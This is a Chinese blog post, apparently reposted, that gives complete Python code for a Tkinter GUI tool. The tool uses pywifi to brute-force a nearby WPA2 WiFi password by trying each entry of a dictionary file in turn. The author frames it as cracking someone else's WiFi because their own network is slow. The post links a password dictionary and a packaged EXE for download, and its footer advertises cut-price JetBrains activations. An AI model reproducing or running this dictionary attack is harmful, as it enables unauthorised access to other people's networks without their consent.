大家好,又见面了,我是你们的朋友全栈君。
自己家的网路实在是差劲的一批…
然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是…
就开始了愉快的Python之旅,字典密码本和封装好的文件文末获取~~~
主要步骤
- 获取第一个无线网卡
- 断开断开所有的wifi
- 读取密码本
- 设置睡眠时间
from tkinter import *
from pywifi import const
import pywifi
import time
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
#测试连接
def wificonnect(str,wifiname):
# 窗口无线对象
wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
ifaces = wifi.interfaces()[0]
# 断开所有的wifi
ifaces.disconnect()
time.sleep(1)
if ifaces.status()==const.IFACE_DISCONNECTED:
# 创建wifi连接文件
profile = pywifi.Profile()
profile.ssid = wifiname
# wifi的加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#wifi的密码
profile.key = str
# 网卡的开发
profile.auth = const.AUTH_ALG_OPEN
# 加密单元,这里需要写点加密单元否则无法连接
profile.cipher = const.CIPHER_TYPE_CCMP
#删除所有的wifi文件
ifaces.remove_all_network_profiles()
#设置新的连接文件
tep_profile = ifaces.add_network_profile(profile)
# 连接
ifaces.connect(tep_profile)
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def readPwd():
# 获取wiif名称
wifiname = entry.get().strip()
path = r'./wifipwd.txt'
file = open(path,'r')
while True:
try:
# 读取
mystr = file.readline().strip()
# 测试连接
bool = wificonnect(mystr,wifiname)
if bool:
text.insert(END,'密码正确'+mystr)
text.see(END)
text.update()
file.close()
break
else:
text.insert(END,'密码错误'+mystr)
text.see(END)
text.update()
except: continue
# 创建窗口
root = Tk()
root.title('wifi**')
root.geometry('500x400')
# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid()
#输入控件
entry = Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)
#列表控件
text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)
# 按钮
button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)
# 显示窗口
root.mainloop()
字典文本链接如下:
下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx
封装好的EXE文件
- 软件截图如下:
EXE文件下载链接如下:
下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx
总结
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/128752.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...